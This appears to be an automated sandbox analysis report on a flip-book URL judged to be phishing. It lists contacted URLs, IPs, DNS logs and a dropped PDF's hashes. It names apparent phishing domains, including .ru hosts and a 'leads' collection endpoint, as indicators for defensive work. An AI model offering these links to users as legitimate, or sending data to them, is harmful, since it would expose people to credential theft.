https://otelrules.svc.static.microsoft/rules/rule703351v0s19.xml	false		high
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/APP.js?v=1748	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120128v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120650v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703551v0s19.xml	false		high
https://ajtl2.clriwhkc.ru/klBsPV2E3KuAhVGtJ04YJFovXnKmg5bgpTT5yxQoZgiLAeqrPNh3ek0j3kk2taRJj8owvqzyz223	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule703051v3s19.xml	false		high
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/images/prev2_1h.svg	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120661v0s19.xml	false		high
https://publuu.com/flip-book/831678/1829815	false		high
https://otelrules.svc.static.microsoft/rules/rule120655v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120614v0s19.xml	false		high
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/Book/xs.css?v=1748	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/other-Win32-v19.bundle	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/fonts/lato/v23/S6u9w4BMUTPHh7USSwiPGQ	chromecache_243.1.dr	false	Avira URL Cloud: safe	unknown
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-196.png	chromecache_243.1.dr	false	Avira URL Cloud: safe	unknown
https://publuu.com/flip-book/	chromecache_243.1.dr	false		high
https://publuu.com	chromecache_243.1.dr	false		high
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/page-flip-hard.browser.js?v=1	chromecache_243.1.dr	false	Avira URL Cloud: safe	unknown
https://mbx7b28fh6.execute-api.us-east-2.amazonaws.com/leads	chromecache_243.1.dr	false	Avira URL Cloud: safe	unknown
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-192.png	chromecache_243.1.dr	false	Avira URL Cloud: safe	unknown
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/audio/v1_2.mp3	chromecache_243.1.dr	false	Avira URL Cloud: safe	unknown
https://cms1.publuu.com	chromecache_243.1.dr	false	Avira URL Cloud: safe	unknown
https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-128.png	chromecache_243.1.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.114.3	github.com	United States	36459	GITHUBUS	false
69.197.152.28	joyeriaangeles.com.mx	United States	32097	WIIUS	false
18.238.50.65	unknown	United States	16509	AMAZON-02US	false
3.23.240.185	publuu.com	United States	16509	AMAZON-02US	false
104.16.5.189	unknown	United States	13335	CLOUDFLARENETUS	false
18.238.50.105	dkl18tmi4r0t8.cloudfront.net	United States	16509	AMAZON-02US	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
185.199.109.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
18.164.124.11	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
172.67.214.162	ajtl2.clriwhkc.ru	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
13.225.66.78	d1uiew9hysv4w7.cloudfront.net	United States	16509	AMAZON-02US	false
3.17.199.31	api1.publuu.com	United States	16509	AMAZON-02US	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.164.124.91	unknown	United States	3	MIT-GATEWAYSUS	false
18.164.131.198	d2z1mhfwexgacj.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
104.21.29.234	o0xs89.hxnywi.ru	United States	13335	CLOUDFLARENETUS	false
18.189.162.129	utty56o2qi.execute-api.us-east-2.amazonaws.com	United States	16509	AMAZON-02US	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.45.130	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.64.68	www.google.com	United States	15169	GOOGLEUS	false
18.238.79.104	d2yzdrigfuozes.cloudfront.net	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1649392
Start date and time:	2025-03-26 18:35:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://publuu.com/flip-book/831678/1829815?utm_source=google%2C+newsletter%2C+facebook%2C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%2Bshoes%2C+blue%2Bdress&utm_content=school%2C+education%2C+classroom
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.evad.win@36/172@58/24
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.40.174, 142.250.80.35, 142.251.167.84, 142.251.40.142, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.251.41.10, 142.250.81.234, 142.251.32.106, 142.251.35.170, 142.251.40.106, 142.251.40.138, 142.251.40.170, 142.250.64.74, 142.250.72.106, 142.250.80.10, 142.250.80.42, 142.250.80.74, 142.250.80.106, 142.251.41.3, 20.109.210.53, 23.9.183.29
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, accounts.google.com, redirector.gvt1.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.svc.static.microsoft, update.googleapis.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.5 (zip deflate encoded)
Category:	dropped
Size (bytes):	15449
Entropy (8bit):	7.977402507579572
Encrypted:	false
SSDEEP:	384:qPnGCKc6yWTD30hzsxBRwvKL/FqSS8cR3SWEvfGiv4JEr/:qfGpc6PTr0hWQAFoHSWEX95r/
MD5:	1703F864D944215AF943D145D9F3F352
SHA1:	2B27AA104A711F25E11A37A986AB09023CAC9E5F
SHA-256:	1F9BD7E650746079264CE20CEE9F6AF1801A0E7EF9C61D75882B5D98123A6446
SHA-512:	0586F34754F3B2FA944FF6AD3134C8336C9296EA5568B4AFA8A40B8C5C29486E99F24E9B954B76D0126F729354CB82F8D27A4BAF4E644878E1A2468271A87015
Malicious:	false
Reputation:	low
Preview:	%PDF-1.5.%......4 0 obj.<</Type/XObject/Subtype/Form/BBox[0 0 841.91998 595.44]/Resources<</XObject<</Im1 5 0 R>>>>/Filter/FlateDecode/Length 36>>stream..x..01.42....4.4.31.s.s..=s..\.....3.endstream..endobj.5 0 obj.<</Type/XObject/Subtype/Image/Width 3508/Height 2481/BitsPerComponent 8/ColorSpace/DeviceRGB/Filter/FlateDecode/Length 2621208>>stream..x....uEu....Q.=*......G........j.l...(.E.........I.H46D0......x.....A.p.?.q.>k.U5k..Z..z......j..f.._..W..w...._.._.../~.....'?..~.o..o...w....o..._....../\|.....g?..O]u.U.......}.....\s..^{.......[....}.........~._.._.....`c.._.._..;.........n......s..+....?x.....}...}.E....\|.;.....=?..o.&.\r.%..{....#.....+...G...JJ.w..w).g>.....nH.o..?..?.l..u.]..R`....}('y....^\|......l-...<..+~..............\..k..[6._R.\|....9.s..\~.......?.c.u.m.........x.....O...H..i.../...{..........=....E.}.K_.r.\".IM......W.H...f.'.V..R..E..O\|"..:......R....wk.........\..O.:N..s..+.......R..?.a......?7....DZ...0_...BJ...9g

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 26, 2025 18:36:16.664849997 CET	192.168.2.17	1.1.1.1	0x7531	Standard query (0)	publuu.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:16.665065050 CET	192.168.2.17	1.1.1.1	0x687e	Standard query (0)	publuu.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:17.469829082 CET	192.168.2.17	1.1.1.1	0x5550	Standard query (0)	dkl18tmi4r0t8.cloudfront.net	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:17.470120907 CET	192.168.2.17	1.1.1.1	0x5ded	Standard query (0)	dkl18tmi4r0t8.cloudfront.net	65	IN (0x0001)	false
Mar 26, 2025 18:36:17.470591068 CET	192.168.2.17	1.1.1.1	0x454b	Standard query (0)	d2yzdrigfuozes.cloudfront.net	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:17.470846891 CET	192.168.2.17	1.1.1.1	0x635a	Standard query (0)	d2yzdrigfuozes.cloudfront.net	65	IN (0x0001)	false
Mar 26, 2025 18:36:20.526690006 CET	192.168.2.17	1.1.1.1	0xdd33	Standard query (0)	dkl18tmi4r0t8.cloudfront.net	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:20.526839018 CET	192.168.2.17	1.1.1.1	0x59b9	Standard query (0)	dkl18tmi4r0t8.cloudfront.net	65	IN (0x0001)	false
Mar 26, 2025 18:36:20.725959063 CET	192.168.2.17	1.1.1.1	0x2146	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:20.726078033 CET	192.168.2.17	1.1.1.1	0x4299	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:21.124430895 CET	192.168.2.17	1.1.1.1	0xcdc0	Standard query (0)	d1uiew9hysv4w7.cloudfront.net	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:21.124685049 CET	192.168.2.17	1.1.1.1	0xaba5	Standard query (0)	d1uiew9hysv4w7.cloudfront.net	65	IN (0x0001)	false
Mar 26, 2025 18:36:21.676604986 CET	192.168.2.17	1.1.1.1	0x85fe	Standard query (0)	d1uiew9hysv4w7.cloudfront.net	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:21.676804066 CET	192.168.2.17	1.1.1.1	0xfccb	Standard query (0)	d1uiew9hysv4w7.cloudfront.net	65	IN (0x0001)	false
Mar 26, 2025 18:36:22.189018965 CET	192.168.2.17	1.1.1.1	0x1ca9	Standard query (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.189275026 CET	192.168.2.17	1.1.1.1	0x8fe6	Standard query (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:22.771950006 CET	192.168.2.17	1.1.1.1	0x9db6	Standard query (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.772073030 CET	192.168.2.17	1.1.1.1	0xeb09	Standard query (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:27.889065981 CET	192.168.2.17	1.1.1.1	0x1790	Standard query (0)	joyeriaangeles.com.mx	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:27.889209032 CET	192.168.2.17	1.1.1.1	0xe104	Standard query (0)	joyeriaangeles.com.mx	65	IN (0x0001)	false
Mar 26, 2025 18:36:28.691528082 CET	192.168.2.17	1.1.1.1	0xebae	Standard query (0)	ajtl2.clriwhkc.ru	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:28.691668034 CET	192.168.2.17	1.1.1.1	0xb6e7	Standard query (0)	ajtl2.clriwhkc.ru	65	IN (0x0001)	false
Mar 26, 2025 18:36:30.299849987 CET	192.168.2.17	1.1.1.1	0xd3e1	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.299926043 CET	192.168.2.17	1.1.1.1	0xbd34	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:30.305433989 CET	192.168.2.17	1.1.1.1	0x68a9	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.305721045 CET	192.168.2.17	1.1.1.1	0x114f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:30.306252003 CET	192.168.2.17	1.1.1.1	0x9f55	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.306391954 CET	192.168.2.17	1.1.1.1	0xe40c	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:31.262116909 CET	192.168.2.17	1.1.1.1	0x9f30	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.262576103 CET	192.168.2.17	1.1.1.1	0xfc05	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:31.892201900 CET	192.168.2.17	1.1.1.1	0x929e	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.892321110 CET	192.168.2.17	1.1.1.1	0xf4e0	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:32.215552092 CET	192.168.2.17	1.1.1.1	0xab01	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:32.215774059 CET	192.168.2.17	1.1.1.1	0xf77e	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:33.170557022 CET	192.168.2.17	1.1.1.1	0x4aef	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:33.170631886 CET	192.168.2.17	1.1.1.1	0x1937	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:44.075685024 CET	192.168.2.17	1.1.1.1	0xab34	Standard query (0)	o0xs89.hxnywi.ru	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:44.075890064 CET	192.168.2.17	1.1.1.1	0x5e2a	Standard query (0)	o0xs89.hxnywi.ru	65	IN (0x0001)	false
Mar 26, 2025 18:36:45.267735004 CET	192.168.2.17	1.1.1.1	0xb2c9	Standard query (0)	o0xs89.hxnywi.ru	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:45.267735004 CET	192.168.2.17	1.1.1.1	0xc3e	Standard query (0)	o0xs89.hxnywi.ru	65	IN (0x0001)	false
Mar 26, 2025 18:36:46.202374935 CET	192.168.2.17	1.1.1.1	0xff05	Standard query (0)	ajtl2.clriwhkc.ru	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:46.202640057 CET	192.168.2.17	1.1.1.1	0xcd91	Standard query (0)	ajtl2.clriwhkc.ru	65	IN (0x0001)	false
Mar 26, 2025 18:36:47.060895920 CET	192.168.2.17	1.1.1.1	0xdc9e	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:47.061011076 CET	192.168.2.17	1.1.1.1	0x176f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:48.686418056 CET	192.168.2.17	1.1.1.1	0x6238	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:48.686692953 CET	192.168.2.17	1.1.1.1	0x49fa	Standard query (0)	github.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:48.690325022 CET	192.168.2.17	1.1.1.1	0xc5b	Standard query (0)	ok4static.oktacdn.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:48.690588951 CET	192.168.2.17	1.1.1.1	0xd190	Standard query (0)	ok4static.oktacdn.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:49.144407988 CET	192.168.2.17	1.1.1.1	0x34df	Standard query (0)	objects.githubusercontent.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.144520998 CET	192.168.2.17	1.1.1.1	0x41b4	Standard query (0)	objects.githubusercontent.com	65	IN (0x0001)	false
Mar 26, 2025 18:36:49.192625999 CET	192.168.2.17	1.1.1.1	0xdfe9	Standard query (0)	ok4static.oktacdn.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:49.192774057 CET	192.168.2.17	1.1.1.1	0xccdf	Standard query (0)	ok4static.oktacdn.com	65	IN (0x0001)	false
Mar 26, 2025 18:37:14.503345013 CET	192.168.2.17	1.1.1.1	0x9e27	Standard query (0)	d2z1mhfwexgacj.cloudfront.net	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:14.503498077 CET	192.168.2.17	1.1.1.1	0x2d8e	Standard query (0)	d2z1mhfwexgacj.cloudfront.net	65	IN (0x0001)	false
Mar 26, 2025 18:37:14.505345106 CET	192.168.2.17	1.1.1.1	0x69d8	Standard query (0)	api1.publuu.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:14.506331921 CET	192.168.2.17	1.1.1.1	0xe459	Standard query (0)	api1.publuu.com	65	IN (0x0001)	false
Mar 26, 2025 18:37:15.056196928 CET	192.168.2.17	1.1.1.1	0x8eb4	Standard query (0)	api1.publuu.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:37:15.056346893 CET	192.168.2.17	1.1.1.1	0x9b2c	Standard query (0)	api1.publuu.com	65	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 26, 2025 18:36:16.801803112 CET	1.1.1.1	192.168.2.17	0x7531	No error (0)	publuu.com		3.23.240.185	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:16.801803112 CET	1.1.1.1	192.168.2.17	0x7531	No error (0)	publuu.com		3.13.131.67	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:16.801803112 CET	1.1.1.1	192.168.2.17	0x7531	No error (0)	publuu.com		3.147.121.59	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:17.565891981 CET	1.1.1.1	192.168.2.17	0x5550	No error (0)	dkl18tmi4r0t8.cloudfront.net		18.238.50.105	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:17.565891981 CET	1.1.1.1	192.168.2.17	0x5550	No error (0)	dkl18tmi4r0t8.cloudfront.net		18.238.50.9	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:17.565891981 CET	1.1.1.1	192.168.2.17	0x5550	No error (0)	dkl18tmi4r0t8.cloudfront.net		18.238.50.65	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:17.565891981 CET	1.1.1.1	192.168.2.17	0x5550	No error (0)	dkl18tmi4r0t8.cloudfront.net		18.238.50.109	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:17.566884041 CET	1.1.1.1	192.168.2.17	0x454b	No error (0)	d2yzdrigfuozes.cloudfront.net		18.238.79.104	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:17.566884041 CET	1.1.1.1	192.168.2.17	0x454b	No error (0)	d2yzdrigfuozes.cloudfront.net		18.238.79.78	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:17.566884041 CET	1.1.1.1	192.168.2.17	0x454b	No error (0)	d2yzdrigfuozes.cloudfront.net		18.238.79.53	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:17.566884041 CET	1.1.1.1	192.168.2.17	0x454b	No error (0)	d2yzdrigfuozes.cloudfront.net		18.238.79.172	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:20.610914946 CET	1.1.1.1	192.168.2.17	0xdd33	No error (0)	dkl18tmi4r0t8.cloudfront.net		18.238.50.65	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:20.610914946 CET	1.1.1.1	192.168.2.17	0xdd33	No error (0)	dkl18tmi4r0t8.cloudfront.net		18.238.50.109	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:20.610914946 CET	1.1.1.1	192.168.2.17	0xdd33	No error (0)	dkl18tmi4r0t8.cloudfront.net		18.238.50.105	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:20.610914946 CET	1.1.1.1	192.168.2.17	0xdd33	No error (0)	dkl18tmi4r0t8.cloudfront.net		18.238.50.9	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:20.811378956 CET	1.1.1.1	192.168.2.17	0x2146	No error (0)	www.google.com		142.250.64.68	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:20.811393023 CET	1.1.1.1	192.168.2.17	0x4299	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 26, 2025 18:36:21.220303059 CET	1.1.1.1	192.168.2.17	0xcdc0	No error (0)	d1uiew9hysv4w7.cloudfront.net		13.225.66.78	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:21.220303059 CET	1.1.1.1	192.168.2.17	0xcdc0	No error (0)	d1uiew9hysv4w7.cloudfront.net		13.225.66.164	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:21.220303059 CET	1.1.1.1	192.168.2.17	0xcdc0	No error (0)	d1uiew9hysv4w7.cloudfront.net		13.225.66.131	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:21.220303059 CET	1.1.1.1	192.168.2.17	0xcdc0	No error (0)	d1uiew9hysv4w7.cloudfront.net		13.225.66.120	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:21.761499882 CET	1.1.1.1	192.168.2.17	0x85fe	No error (0)	d1uiew9hysv4w7.cloudfront.net		13.225.66.78	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:21.761499882 CET	1.1.1.1	192.168.2.17	0x85fe	No error (0)	d1uiew9hysv4w7.cloudfront.net		13.225.66.164	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:21.761499882 CET	1.1.1.1	192.168.2.17	0x85fe	No error (0)	d1uiew9hysv4w7.cloudfront.net		13.225.66.131	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:21.761499882 CET	1.1.1.1	192.168.2.17	0x85fe	No error (0)	d1uiew9hysv4w7.cloudfront.net		13.225.66.120	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.285355091 CET	1.1.1.1	192.168.2.17	0x1ca9	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		18.189.162.129	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.285355091 CET	1.1.1.1	192.168.2.17	0x1ca9	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		3.16.182.77	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.285355091 CET	1.1.1.1	192.168.2.17	0x1ca9	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		3.143.156.224	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.285355091 CET	1.1.1.1	192.168.2.17	0x1ca9	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		52.14.143.29	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.285355091 CET	1.1.1.1	192.168.2.17	0x1ca9	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		13.59.190.74	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.285355091 CET	1.1.1.1	192.168.2.17	0x1ca9	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		18.188.156.38	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.856149912 CET	1.1.1.1	192.168.2.17	0x9db6	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		18.189.162.129	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.856149912 CET	1.1.1.1	192.168.2.17	0x9db6	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		3.16.182.77	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.856149912 CET	1.1.1.1	192.168.2.17	0x9db6	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		3.143.156.224	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.856149912 CET	1.1.1.1	192.168.2.17	0x9db6	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		52.14.143.29	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.856149912 CET	1.1.1.1	192.168.2.17	0x9db6	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		13.59.190.74	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:22.856149912 CET	1.1.1.1	192.168.2.17	0x9db6	No error (0)	utty56o2qi.execute-api.us-east-2.amazonaws.com		18.188.156.38	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:28.108134985 CET	1.1.1.1	192.168.2.17	0x1790	No error (0)	joyeriaangeles.com.mx		69.197.152.28	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:28.913532972 CET	1.1.1.1	192.168.2.17	0xb6e7	No error (0)	ajtl2.clriwhkc.ru			65	IN (0x0001)	false
Mar 26, 2025 18:36:28.938206911 CET	1.1.1.1	192.168.2.17	0xebae	No error (0)	ajtl2.clriwhkc.ru		172.67.214.162	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:28.938206911 CET	1.1.1.1	192.168.2.17	0xebae	No error (0)	ajtl2.clriwhkc.ru		104.21.45.130	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.384094000 CET	1.1.1.1	192.168.2.17	0xd3e1	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.384094000 CET	1.1.1.1	192.168.2.17	0xd3e1	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.384094000 CET	1.1.1.1	192.168.2.17	0xd3e1	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.384094000 CET	1.1.1.1	192.168.2.17	0xd3e1	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.389787912 CET	1.1.1.1	192.168.2.17	0x68a9	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.389787912 CET	1.1.1.1	192.168.2.17	0x68a9	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.389802933 CET	1.1.1.1	192.168.2.17	0x114f	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Mar 26, 2025 18:36:30.390348911 CET	1.1.1.1	192.168.2.17	0x9f55	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.390348911 CET	1.1.1.1	192.168.2.17	0x9f55	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:30.390399933 CET	1.1.1.1	192.168.2.17	0xe40c	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 26, 2025 18:36:31.352866888 CET	1.1.1.1	192.168.2.17	0x9f30	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.352866888 CET	1.1.1.1	192.168.2.17	0x9f30	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.352866888 CET	1.1.1.1	192.168.2.17	0x9f30	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.352866888 CET	1.1.1.1	192.168.2.17	0x9f30	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.352866888 CET	1.1.1.1	192.168.2.17	0x9f30	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:36:31.352895021 CET	1.1.1.1	192.168.2.17	0xfc05	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
